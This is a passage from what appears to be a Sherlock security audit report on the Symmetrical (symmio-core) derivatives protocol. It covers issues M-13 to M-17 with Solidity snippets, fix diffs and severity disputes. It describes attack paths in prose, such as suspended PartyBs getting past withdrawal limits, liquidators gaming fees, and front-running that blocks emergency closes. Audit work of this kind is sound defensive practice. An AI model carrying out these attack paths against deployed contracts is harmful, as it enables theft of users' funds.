Ruhum, berndartmueller, cergyk, panprog, rvierdiiev, volodya, xiaoming90

Summary

The insolvency check (`isSolventAfterOpenPosition`) within the `openPosition` function does not consider the locked balance adjustment, causing the user account to become insolvent immediately after the position is opened. As a result, the affected users will lose their CVA and liquidation fee locked in their accounts.

Vulnerability Detail

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L150

```
File: PartyBFacetImpl.sol
112:     function openPosition(
113:         uint256 quoteId,
114:         uint256 filledAmount,
115:         uint256 openedPrice,
116:         PairUpnlAndPriceSig memory upnlSig
117:     ) internal returns (uint256 currentId) {
..SNIP..
150:         LibSolvency.isSolventAfterOpenPosition(quoteId, filledAmount, upnlSig);
151:
152:         accountLayout.partyANonces[quote.partyA] += 1;
153:         accountLayout.partyBNonces[quote.partyB][quote.partyA] += 1;
154:         quote.modifyTimestamp = block.timestamp;
155:
156:         LibQuote.removeFromPendingQuotes(quote);
157:
158:         if (quote.quantity == filledAmount) {
159:             accountLayout.pendingLockedBalances[quote.partyA].subQuote(quote);
160:             accountLayout.partyBPendingLockedBalances[quote.partyB][quote.partyA].subQuote(quote);
161:
162:                if (quote.orderType == OrderType.LIMIT) {
163:
  ↪  quote.lockedValues.mul(openedPrice).div(quote.requestedOpenPrice);
164:                }
165:                accountLayout.lockedBalances[quote.partyA].addQuote(quote);
166:                accountLayout.partyBLockedBalances[quote.partyB][quote.partyA].⌋
  ↪  addQuote(quote);
167:            }
```

The leverage of a position is computed based on the following formula.

$$leverage = \frac{price \times quantity}{lockedValues.total()}$$

When opening a position, there is a possibility that the leverage might change because the locked values and quantity are fixed, but it could get filled with a different market price compared to the one at the moment the user requested. Thus, the purpose of Line 163 above is to adjust the locked values to maintain a fixed leverage. After the adjustment, the locked value might be higher or lower.

The issue is that the insolvency check at Line 150 is performed before the adjustment is made.

Assume that the adjustment in Line 163 cause the locked values to increase. The insolvency check (`isSolventAfterOpenPosition`) at Line 150 will be performed with old or unadjusted locked values that are smaller than expected. Since smaller locked values mean that there will be more available balance, this might cause the system to miscalculate that an account is not liquidatable, but in fact, it is actually liquidatable once the adjusted increased locked value is taken into consideration.

In this case, once the position is opened, the user account is immediately underwater and can be liquidated.

The issue will occur in the "complete fill" path and "partial fill" path since both paths adjust the locked values to maintain a fixed leverage. The "complete fill" path adjusts the locked values at Line 185

Impact

Users might become liquidatable immediately after opening a position due to an incorrect insolvency check within the `openPosition`, which erroneously reports that the account will still be healthy after opening the position, while in reality, it is not. As a result, the affected users will lose their CVA and liquidation fee locked in their accounts.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L150

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L185

Tool used

Manual Review

Recommendation

Consider performing the insolvency check with the updated adjusted locked values.

Discussion

MoonKnightDev

This scenario could only happen if the user requests to open a short position at a price significantly lower than the market value, creating conditions for potential liquidation. In this case, the identified bug would indeed facilitate this outcome. However, because the existence of such conditions is a prerequisite, we don't believe the severity level is high.

ctf-sec

Changed the severity to medium based on the comments above

mstpr

Escalate

This is not true. Accounts can not be immediately liquidatable in this scenario which is ensured by this function https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L149-L150

Also, partyA can never be liquidatable after opening a position but partyB who opens the position might open the position in a level where it's almost liquidatable (-1 pnl would sufficient etc). However, partyB would not open a position because its not favor of doing so. (Who would want to open a position at a price where they are liquidatable immediately?)

Why partyA is not liquidatable immediately after partyB opens the position in such level?

Because the nonce increases in openPosition, which means that the new MuonSignature is needed. New MuonSignature will count the pnl of the partyA that its in huge profit (because partyB opened the position in a very undesired price) hence, the partyA can't be liquidatable.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L152-L153 https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/libraries/LibAccount.sol#L78-L86

Considering that, there is no point of doing something for any partyB because the harm is only to them. No body will create a position that is below/above the requested open price such that they are immediately liquidate after a small price change.

There is only 1 scenario that the partyA can be liquidatable which is only covered by this issue #77. This finding and the duplicates are missing the complex edge case.

sherlock-admin2

> Escalate
>
> This is not true. Accounts can not be immediately liquidatable in this scenario which is ensured by this function https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L149-L150
>
> Also, partyA can never be liquidatable after opening a position but partyB who opens the position might open the position in a level where it's almost liquidatable (-1 pnl would sufficient etc). However, partyB would not open a position because its not favor of doing so. (Who would want to open a position at a price where they are liquidatable immediately?)
>
> Why partyA is not liquidatable immediately after partyB opens the position in such level?
>
> Because the nonce increases in openPosition, which means that the new MuonSignature is needed. New MuonSignature will count the pnl of the partyA that its in huge profit (because partyB opened the position in a very undesired price) hence, the partyA can't be liquidatable.
>
> https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L152-L153 https://github.com/sherlock-audit/2023-06-symmetrical/blob/6d2b64b6732fcfbd07c8217897dd233dbb6cd1f5/symmio-core/contracts/libraries/LibAccount.sol#L78-L86
>
> Considering that, there is no point of doing something for any partyB because the harm is only to them. No body will create a position that is

> below/above the requested open price such that they are immediately liquidate after a small price change.
>
> There is only 1 scenario that the partyA can be liquidatable which is only covered by this issue #77. This finding and the duplicates are missing the complex edge case.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/14

hrishibhat

Result: Medium Has duplicates Agree with the following comment from the Lead senior Watson:

> The root cause/bug of this report and its duplicates is that the solvency check is performed against the old locked values instead of the adjusted/actual locked values. So when the solvency check is performed against the old locked values, it might underestimate and assumes everything is well. However, the position is opened with the adjusted/actual locked values, not the old locked values. So the position might end up opening at a higher price (it was underestimated earlier), resulting the account to be liquidatable,

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- mstpr: rejected

Issue M-13: Suspended PartyBs can bypass the withdrawal restriction by exploiting `fillCloseRequest`

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/229

Found by

0xcrunch, 0xmuxyz, Juntao, PokemonAuditSimulator, Viktor_Cortess, ast3ros, bin2chen, circlelooper, josephdara, mrpathfindr, mstpr-brainbot, panprog, rvierdiiev, xiaoming90

Summary

Suspended PartyBs can bypass the withdrawal restriction by exploiting `fillCloseRequest` function. Thus, an attacker can transfer the ill-gotten gains out of the protocol, leading to a loss of assets for the protocol and its users.

Vulnerability Detail

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacet.sol#L26

```
File: AccountFacet.sol
    function withdraw(uint256 amount) external whenNotAccountingPaused notSuspended(msg.sender) {
        AccountFacetImpl.withdraw(msg.sender, amount);
        emit Withdraw(msg.sender, msg.sender, amount);
    }

    function withdrawTo(
        address user,
        uint256 amount
    ) external whenNotAccountingPaused notSuspended(msg.sender) {
        AccountFacetImpl.withdraw(user, amount);
        emit Withdraw(msg.sender, user, amount);
    }
```

When a user is suspended, they are not allowed to call any of the withdraw functions (`withdraw` and `withdrawTo`) to withdraw funds from their account. These withdrawal functions are guarded by the `notSuspended` modifier that will revert if the user's address is suspended.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/utils/Accessibility.sol#L73

```
File: Accessibility.sol
    modifier notSuspended(address user) {
        require(
            !AccountStorage.layout().suspendedAddresses[user],
            "Accessibility: Sender is Suspended"
        );
        _;
    }
```

However, suspected PartyBs can bypass this restriction by exploiting the `fillCloseRequest` function to transfer the assets out of the protocol. Following describe the proof-of-concept:

1) Anyone can be a PartyA within the protocol. Suspended PartyBs use one of their wallet addresses to operate as a PartyA.
2) Use the PartyA to create a new position with an unfavorable price that will immediately result in a significant loss for any PartyB who takes on the position. The `partyBsWhiteList` of the new position is set to PartyB address only to prevent some other PartyB from taking on this position.
3) Once PartyB takes on the position, PartyB will immediately incur a significant loss, while PartyA will enjoy a significant gain due to the zero-sum nature of this game.
4) PartyA requested to close its position to lock the profits and PartyB will fill the close request.
5) PartyA calls the deallocate and withdraw functions to move the assets/gains out of the protocol.

Impact

In the event of an attack, the protocol will suspend the malicious account and prevent it from transferring ill-gotten gains out of the protocol. However, since this restriction can be bypassed, the attacker can transfer the ill-gotten gains out of the protocol, leading to a loss of assets for the protocol and its users.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/Account/AccountFacet.sol#L98

Tool used

Manual Review

Recommendation

Add the `notSuspended` modifier to the `openPosition` and `fillCloseRequest` functions to block the above-described attack path.

```
function fillCloseRequest(
    uint256 quoteId,
    uint256 filledAmount,
    uint256 closedPrice,
    PairUpnlAndPriceSig memory upnlSig
- ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId)
 ↪  notLiquidated(quoteId) {
+ ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId)
 ↪  notLiquidated(quoteId) notSuspended(msg.sender) {
    ..SNIP..
}
```

```
function openPosition(
    uint256 quoteId,
    uint256 filledAmount,
    uint256 openedPrice,
    PairUpnlAndPriceSig memory upnlSig
- ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId)
 ↪  notLiquidated(quoteId) {
+ ) external whenNotPartyBActionsPaused onlyPartyBOfQuote(quoteId)
 ↪  notLiquidated(quoteId) notSuspended(msg.sender) {
    ..SNIP..
}
```

Discussion

MoonKnightDev

We disagree with the severity of this issue because, in the current system, Party B is permissioned. Therefore, it is highly unlikely that Party B will be suspended.

Navid-Fkh

The mentioned PartyA will also be suspended by our bots; thus, they won't be able to withdraw any funds. Therefore, we won't have any problems

Issue M-14: Imbalanced approach of distributing the liquidation fee within `setSymbolsPrice` function

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/231

Found by

0xGoodess, PokemonAuditSimulator, Yuki, cergyk, kutugu, rvierdiiev, xiaoming90

Summary

The imbalance approach of distributing the liquidation fee within `setSymbolsPrice` function could be exploited by malicious liquidators to obtain the liquidation fee without completing their tasks and maximizing their gains. While doing so, it causes harm or losses to other parties within the protocols.

Vulnerability Detail

A PartyA can own a large number of different symbols in its portfolio. To avoid out-of-gas (OOG) errors from occurring during liquidation, the `setSymbolsPrice` function allows the liquidators to inject the price of the symbols in multiple transactions instead of all in one go.

Assume that the injection of the price symbols requires 5 transactions/rounds to complete and populate the price of all the symbols in a PartyA's portfolio. Based on the current implementation, only the first liquidator that calls the `setSymbolsPrice` will receive the liquidation fee. Liquidators that call the `setSymbolsPrice` function subsequently will not be added to the `AccountStorage.layout().liquidators[partyA]` listing as Line 88 will only be executed once when the `liquidationType` is still not initialized yet.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L34

```
File: LiquidationFacetImpl.sol
34:     function setSymbolsPrice(address partyA, PriceSig memory priceSig)
 ↪  internal {
..SNIP..
56:         if (accountLayout.liquidationDetails[partyA].liquidationType ==
 ↪  LiquidationType.NONE) {
57:             accountLayout.liquidationDetails[partyA] = LiquidationDetail({
58:                 liquidationType: LiquidationType.NONE,
59:                 upnl: priceSig.upnl,
60:                 totalUnrealizedLoss: priceSig.totalUnrealizedLoss,
61:                 deficit: 0,
                liquidationFee: 0
            });
..SNIP..
            AccountStorage.layout().liquidators[partyA].push(msg.sender);
        } else {
            require(
                accountLayout.liquidationDetails[partyA].upnl == priceSig.upnl &&
                    accountLayout.liquidationDetails[partyA].totalUnrealizedLoss ==
                    priceSig.totalUnrealizedLoss,
                "LiquidationFacet: Invalid upnl sig"
            );
        }
    }
```

A malicious liquidator could take advantage of this by only setting the symbol prices for the first round for each liquidation happening in the protocol. To maximize their profits, the malicious liquidator would call the `setSymbolsPrice` with none or only one (1) symbol price to save on the gas cost. The malicious liquidator would then leave it to the others to complete the rest of the liquidation process, and they will receive half of the liquidation fee at the end of the liquidation process.

Someone would eventually need to step in to complete the liquidation process. Even if none of the liquidators is incentivized to complete the process of setting the symbol prices since they will not receive any liquidation fee, the counterparty would eventually have no choice but to step in to perform the liquidation themselves. Otherwise, the profits of the counterparty cannot be realized. At the end of the day, the liquidation will be completed, and the malicious liquidator will still receive the liquidation fee.

Impact

Malicious liquidators could exploit the liquidation process to obtain the liquidation fee without completing their tasks and maximizing their gains. While doing so, many liquidations would be stuck halfway since it is likely that no other liquidators will step in to complete the setting of the symbol prices because they will not receive any liquidation fee for doing so (not incentivized).

This could potentially lead to the loss of assets for various parties:

- The counterparty would eventually have no choice but to step in to perform the liquidation themselves. The counterparty has to pay for its own liquidation, even though it has already paid half the liquidation fee to the liquidator.
- Many liquidations would be stuck halfway, and liquidation might be delayed, which exposes users to greater market risks, including the risk of incurring

larger losses or having to exit at an unfavorable price.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L34

Tool used

Manual Review

Recommendation

Consider a more balanced approach for distributing the liquidation fee for liquidators that calls the `setSymbolsPrice` function. For instance, the liquidators should be compensated based on the number of symbol prices they have injected.

If there are 10 symbols to be filled up, if Bob filled up 4 out of 10 symbols, he should only receive 40% of the liquidation fee. This approach has already been implemented within the `liquidatePartyB` function via the `partyBPositionLiquidatorsShare` variable. Thus, the same design could be retrofitted into the `setSymbolsPrice` function.

Discussion

MoonKnightDev

In the current system setup, we have established a role for liquidators. To give them this role, we might require an external contract in which they are obliged to lock a certain amount of money. This serves as a guarantee against any potential system sabotage or incomplete liquidation they may commit. If they fail to fulfill their role appropriately, they would face penalties.

hrishibhat

@xiaoming9090 Based on the above comment there are no restrictions applied on liquidators currently and there is the possibility of malicious actions by the liquidator, correct?

hrishibhat

Considering this issue as a valid medium, although the `liquidator role` is an external role and is restricted, it is still granted by the protocol.

Navid-Fkh

We don't consider this to be an issue in the system for two obvious reasons:

1. The liquidator has an incentive to complete the process in order to claim their LF.
2. Malicious liquidators can be easily identified and punished. Given that we have defined a liquidator role, it's probable that they have locked funds with us as a prerequisite for that role

Issue M-15: Liquidators will not be incentivized to liquidate certain PartyB accounts due to the lack of incentives

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/234

Found by

Ch_301, Ruhum, berndartmueller, mstpr-brainbot, rvierdiiev, xiaoming90

Summary

Liquidating certain accounts does not provide a liquidation fee to the liquidators. Liquidators will not be incentivized to liquidate such accounts, which may lead to liquidation being delayed or not performed, exposing Party B to unnecessary risks and potentially resulting in greater asset losses than anticipated.

Vulnerability Detail

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L269

```
File: LiquidationFacetImpl.sol
240:     function liquidatePartyB(
..SNIP..
259:         if (uint256(-availableBalance) <
↪  accountLayout.partyBLockedBalances[partyB][partyA].lf) {
260:             remainingLf =
261:                 accountLayout.partyBLockedBalances[partyB][partyA].lf -
262:                 uint256(-availableBalance);
263:             liquidatorShare = (remainingLf * maLayout.liquidatorShare) /
↪  1e18;
264:
265:             maLayout.partyBPositionLiquidatorsShare[partyB][partyA] =
266:                 (remainingLf - liquidatorShare) /
267:                 quoteLayout.partyBPositionsCount[partyB][partyA];
268:         } else {
269:             maLayout.partyBPositionLiquidatorsShare[partyB][partyA] = 0;
270:         }
```

Assume that the loss of Party B is more than the liquidation fee. In this case, the else branch of the above code within the `liquidatePartyB` function will be executed. The `liquidatorShare` and `partyBPositionLiquidatorsShare` variables will both be zero, which means the liquidators will get nothing in return for liquidating PartyBs

As a result, there will not be any incentive for the liquidators to liquidate such positions.

Impact

Liquidators will not be incentivized to liquidate those accounts that do not provide them with a liquidation fee. As a result, the liquidation of those accounts might be delayed or not performed at all. When liquidation is not performed in a timely manner, PartyB ended up taking on additional unnecessary risks that could be avoided in the first place if a different liquidation incentive mechanism is adopted, potentially leading to PartyB losing more assets than expected.

Although PartyBs are incentivized to perform liquidation themselves since it is the PartyBs that take on the most risks from the late liquidation, the roles of PartyB and liquidator are clearly segregated in the protocol design. Only addresses granted the role of liquidators can perform liquidation as the liquidation functions are guarded by `onlyRole(LibAccessibility.LIQUIDATOR_ROLE)`. Unless the contracts are implemented in a manner that automatically grants a liquidator role to all new PartyB upon registration OR liquidation functions are made permissionless, PartyBs are likely not able to perform the liquidation themselves when the need arises.

Moreover, the PartyBs are not expected to be both a hedger and liquidator simultaneously as they might not have the skillset or resources to maintain an infrastructure for monitoring their accounts/positions for potential late liquidation.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/liquidation/LiquidationFacetImpl.sol#L269

Tool used

Manual Review

Recommendation

Considering updating the liquidation incentive mechanism that will always provide some incentive for the liquidators to take the initiative to liquidate insolvent accounts. This will help to build a more robust and efficient liquidation mechanism for the protocols. One possible approach is to always give a percentage of the CVA of the liquidated account as a liquidation fee to the liquidators.

Discussion

MoonKnightDev

If we encounter a late liquidation, our incentives are as follows:

If Party B or Party A, which is linked with only one counterparty, undergoes liquidation, and there is an isolated environment between the two, and in any case, all the funds transfer from one side to the other, so the liquidation time is not important anymore. And in a way, late liquidation is meaningless here.

Hence, one of the parties or any interested party can call this. If the individual being liquidated is connected with multiple counterparties, the remaining counterparties would call this liquidation to prevent further losses.

These can be called for when it is not beneficial for the liquidator.

But in general, we plan to always have incentives for liquidators

hrishibhat

@xiaoming9090

xiaoming9090

> If we encounter a late liquidation, our incentives are as follows:
>
> If Party B or Party A, which is linked with only one counterparty, undergoes liquidation, and there is an isolated environment between the two, and in any case, all the funds transfer from one side to the other, so the liquidation time is not important anymore. And in a way, late liquidation is meaningless here.
>
> Hence, one of the parties or any interested party can call this. If the individual being liquidated is connected with multiple counterparties, the remaining counterparties would call this liquidation to prevent further losses.
>
> These can be called for when it is not beneficial for the liquidator.
>
> But in general, we plan to always have incentives for liquidators

In the second scenario where the liquidator does not perform the liquidation due to lack of incentives, the sponsor expects that the counterparty will call the liquidation themselves in order to prevent further losses. This seems reasonable on design, however, the implementation of current system does not allow the counterparty to do so.

As mentioned in my report and other Watson reports (https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/296),

> Although PartyBs are incentivized to perform liquidation themselves since it is the PartyBs that take on the most risks from the late liquidation, the roles of PartyB and liquidator are clearly segregated in the protocol design. Only addresses granted the role of liquidators can perform liquidation as the liquidation functions are guarded by onlyRole(LibAccessibility.LIQUIDATOR_ROLE). Unless the contracts are implemented in a manner that automatically grants a liquidator role to all

> new PartyB upon registration OR liquidation functions are made permissionless, PartyBs are likely not able to perform the liquidation themselves when the need arises.

In short, the counterparty (PartyA or PartyB) could not perform the liquidation required as mentioned by the sponsor in the second scenario because they are not granted the role of liquidator by default. Thus, this issue is still valid.

hrishibhat

@MoonKnightDev

shaka0x

Escalate.

In case liquidators are not incentiviced to perform the liquidation, the liquidator bots from the protocol will perform the task. From the README file:

> Q: Are there any off-chain mechanisms or off-chain procedures for the protocol (keeper bots, input validation expectations, etc)? **Liquidator Bots**, Force close Bots, Force cancel Bots, Anomaly detector Bots

I have commented on this fact in the issues #181 and #182:

```
There is no incentive for liquidators to liquidate the position, since the
↪  liquidation fee is 0. So it will have to be done by the liquidator bot.
```

```
An important remark is that some liquidation processes do not have economic
↪  incentives for the liquidator, so in this cases the liquidation process
↪  relies completely on the protocol bots.
```

But this is not an issue on its own.

sherlock-admin2

> Escalate.
>
> In case liquidators are not incentiviced to perform the liquidation, the liquidator bots from the protocol will perform the task. From the README file:
>
> > Q: Are there any off-chain mechanisms or off-chain procedures for the protocol (keeper bots, input validation expectations, etc)? **Liquidator Bots**, Force close Bots, Force cancel Bots, Anomaly detector Bots
>
> I have commented on this fact in the issues #181 and #182:
>
> ```
> There is no incentive for liquidators to liquidate the position, since the
> ↪  liquidation fee is 0. So it will have to be done by the liquidator bot.
> ```

```
An important remark is that some liquidation processes do not have economic
↪  incentives for the liquidator, so in this cases the liquidation process
↪  relies completely on the protocol bots.
```

> But this is not an issue on its own.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

xiaoming9090

> Escalate.
>
> In case liquidators are not incentiviced to perform the liquidation, the liquidator bots from the protocol will perform the task. From the README file:
>
> > Q: Are there any off-chain mechanisms or off-chain procedures for the protocol (keeper bots, input validation expectations, etc)? **Liquidator Bots**, Force close Bots, Force cancel Bots, Anomaly detector Bots
>
> I have commented on this fact in the issues #181 and #182:
>
> ```
> There is no incentive for liquidators to liquidate the position, since the
> ↪  liquidation fee is 0. So it will have to be done by the liquidator bot.
> ```
>
> ```
> An important remark is that some liquidation processes do not have economic
> ↪  incentives for the liquidator, so in this cases the liquidation process
> ↪  relies completely on the protocol bots.
> ```
>
> But this is not an issue on its own.

The system is design to have liquidation performed by others, not by the protocol itself.

shaka0x

> The system is design to have liquidation performed by others, not by the protocol itself.

That is not true. Apart from the mentioned entry in the README file, the docs also state that there are additional mechanisms beyond 3rd party liquidators.

> After the trade is executed both parties have to constantly ensure that their collateral and margin is sufficient to keep the trade open, 3rd party

> liquidators, **watchdogs and other tools** help to ensure that solvency of all parties in the system is given at all time.

abanchev

Watchdogs and other tools also refers to tools used by party B to ensure they are not liquidated themselves (alerts to notify them to supply more collateral if necessary). Protocol provides the tools for others to use, the protocol may also run a liquidator bot for extra profit but the goal is a system where everything is permissionless.

Navid-Fkh

We don't consider this to be an issue. In the early stages, when we are restricted to trusted liquidators, we will have no problems as the liquidator will do the job. If we ever get to a permissionless system for liquidators, then any PartyB should likely run their own liquidator to prevent such situations.

hrishibhat

Result: Medium Has duplicates From the readme it is clear that the Liquidator is not trusted and not owned by the protocol. The liquidators bots are incentivized by the protocol to do their actions, however, this is a valid issue where there is a flaw in this mechanism

sherlock-admin2

Escalations have been resolved successfully!

Escalation status:

- shaka0x: rejected

Issue M-16: `emergencyClosePosition` can be blocked

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/236

Found by

Yuki, nobody2018, xiaoming90

Summary

The `emergencyClosePosition` function can be blocked as PartyA can change the position's status, which causes the transaction to revert when executed.

Vulnerability Detail

Activating the emergency mode can be done either for a specific PartyB or for the entire system. Once activated, PartyB gains the ability to swiftly close positions without requiring users' requests. This functionality is specifically designed to cater to urgent situations where PartyBs must promptly close their positions.

Based on the `PartyBFacetImpl.emergencyClosePosition` function, a position can only be "emergency" close if its status is `QuoteStatus.OPENED`.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L312

```
File: PartyBFacetImpl.sol
309:     function emergencyClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig) internal {
310:         AccountStorage.Layout storage accountLayout = AccountStorage.layout();
311:         Quote storage quote = QuoteStorage.layout().quotes[quoteId];
312:         require(quote.quoteStatus == QuoteStatus.OPENED, "PartyBFacet: Invalid state");
..SNIP..
```

As a result, if PartyA knows that emergency mode has been activated, PartyA could pre-emptively call the `PartyAFacetImpl.requestToClosePosition` with minimum possible `quantityToClose` (e.g. 1 wei) against their positions to change the state to `QuoteStatus.CLOSE_PENDING` so that the `PartyBFacetImpl.emergencyClosePosition` function will always revert when triggered by PartyB. This effectively blocks PartyB from "emergency" close the positions in urgent situations.

PartyA could also block PartyB "emergency" close on-demand by front-running PartyB's `PartyBFacetImpl.emergencyClosePosition` transaction with the

`PartyAFacetImpl.requestToClosePosition` with minimum possible `quantityToClose` (e.g. 1 wei) when detected.

PartyB could accept the close position request of 1 wei to revert the quote's status back to `QuoteStatus.OPENED` and try to perform an "emergency" close again. However, a sophisticated malicious user could front-run PartyA to revert the quote's status back to `QuoteStatus.CLOSE_PENDING` again to block the "emergency" close for a second time.

Impact

During urgent situations where emergency mode is activated, the positions need to be promptly closed to avoid negative events that could potentially lead to serious loss of funds (e.g. the protocol is compromised, and the attacker is planning to or has started draining funds from the protocols). However, if the emergency closure of positions is blocked or delayed, it might lead to unrecoverable losses.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L312

Tool used

Manual Review

Recommendation

Update the `emergencyClosePosition` so that the "emergency" close can still proceed even if the position's status is `QuoteStatus.CLOSE_PENDING`.

```
function emergencyClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory
 ↪  upnlSig) internal {
        AccountStorage.Layout storage accountLayout = AccountStorage.layout();
        Quote storage quote = QuoteStorage.layout().quotes[quoteId];
-       require(quote.quoteStatus == QuoteStatus.OPENED, "PartyBFacet: Invalid
 ↪  state");
+       require(quote.quoteStatus == QuoteStatus.OPENED || quote.quoteStatus ==
 ↪  QuoteStatus.CLOSE_PENDING, "PartyBFacet: Invalid state");
..SNIP..
```

Discussion

MoonKnightDev

Indeed, when Party B fulfills the close request, both Party A and Party B are required to obtain a new signature from Muon - Party A for the request to close and Party B for the emergency close. Party B is more likely to be successful. Moreover, Party A cannot front-run due to the distinct signatures. so we don't consider it as "High"

MoonKnightDev

Fixed code PR link: https://github.com/SYMM-IO/symmio-core/pull/16

Issue M-17: Hedgers are not incentivized to respond to user's closing requests

Source:
https://github.com/sherlock-audit/2023-06-symmetrical-judging/issues/239

Found by

xiaoming90

Summary

Hedgers could intentionally force the users to close the positions themselves via the `forceClosePosition` and charge a spread to earn more, which results in the users closing at a worse price, leading to a loss of profit for them.

Vulnerability Detail

How `fillCloseRequest` function works? For a Long position, when PartyB (Hedger) calls the `fillCloseRequest` function to fill a close position under normal circumstances, the hedger cannot charge a spread because the hedger has to close at the user's requested close price (`quote.requestedClosePrice`),

If the hedger decides to close at a higher price, it is permissible by the function, but the hedger will lose more, and the users will gain more because the users' profit is computed based on `long profit = closing price - opening price`.

Under normal circumstances, most users will set the requested close price (`quote.requestedClosePrice`) close to the market price most of the time.

In short, the `fillCloseRequest` function requires the hedger to match or exceed the user' requested price. The hedger cannot close at a price below the user's requested price in order to charge a spread.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyB/PartyBFacetImpl.sol#L256

```
function fillCloseRequest(
..SNIP..
    if (quote.positionType == PositionType.LONG) {
        require(
            closedPrice >= quote.requestedClosePrice,
            "PartyBFacet: Closed price isn't valid"
        )
```

How `forceClosePosition` function works? For a Long position, the `forceCloseGapRatio` will allow the hedger to charge a spread from the user's requested price (`quote.requestedClosePrice`) when the user (PartyA) attempts to force close the position.

The `upnlSig.price` is the market price and `quote.requestedClosePrice` is the price users ask to close at. By having the `forceCloseGapRatio`, assuming that `forceCloseGapRatio` is 5%, this will create a spread between the two prices (`upnlSig.price` and `quote.requestedClosePrice`) that represent a cost that the users (PartyA) need to "pay" in order to force close a position.

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L253

```
function forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory upnlSig)
 ↪  internal {
..SNIP..
    if (quote.positionType == PositionType.LONG) {
        require(
            upnlSig.price >=
                quote.requestedClosePrice +
                    (quote.requestedClosePrice * maLayout.forceCloseGapRatio) /
                    1e18,
            "PartyAFacet: Requested close price not reached"
        );
    ..SNIP..
    LibQuote.closeQuote(quote, filledAmount, quote.requestedClosePrice);
```

Issue with current design Assume a hedger ignores the user's close request. In this case, the users (PartyA) have to call the `forceClosePosition` function by themselves to close the position and pay a spread.

The hedgers can abuse this mechanic to their benefit. Assuming the users (PartyA) ask to close a LONG position at a fair value, and the hedgers respond by calling the `fillCloseRequest` to close it. In this case, the hedgers won't be able to charge a spread because the hedgers are forced to close at a price equal to or higher than the user's asking closing price (`quote.requestedClosePrice`).

However, if the hedger chooses to ignore the user's close request, this will force the user to call the `forceClosePosition`, and the user will have to pay a spread to the hedgers due to the gap ratio. In this case, the hedgers will benefit more due to the spread.

In the long run, the hedgers will be incentivized to ignore users' close requests.

Impact

The hedgers will be incentivized to ignore users' close requests, resulting in the users having to wait for the cooldown before being able to force close a position themselves. The time spent waiting could potentially lead to a loss of opportunity cost for the users.

In addition, hedgers could intentionally force the users to close the positions themselves via the `forceClosePosition` and charge a spread to earn more, which results in the users closing at a worse price, leading to a loss of profit for them.

Code Snippet

https://github.com/sherlock-audit/2023-06-symmetrical/blob/main/symmio-core/contracts/facets/PartyA/PartyAFacetImpl.sol#L253

Tool used

Manual Review

Recommendation

Hedgers should not be entitled to charge a spread within the `forceClosePosition` function because some hedgers might intentionally choose not to respond to user requests in order to force the users to close the position themselves. In addition, hedgers are incentivized to force users to close the position themselves as the `forceClosePosition` function allows them the charge a spread.

Within the `forceClosePosition` function, consider removing the gap ratio to remove the spread and fill the position at the market price (`upnlSig.price`).

```
    function forceClosePosition(uint256 quoteId, PairUpnlAndPriceSig memory
 ↪  upnlSig) internal {
..SNIP..
        if (quote.positionType == PositionType.LONG) {
            require(
                upnlSig.price >=
+                   quote.requestedClosePrice,
-                   quote.requestedClosePrice +
-                        (quote.requestedClosePrice *
 ↪  maLayout.forceCloseGapRatio) /
-                       1e18,
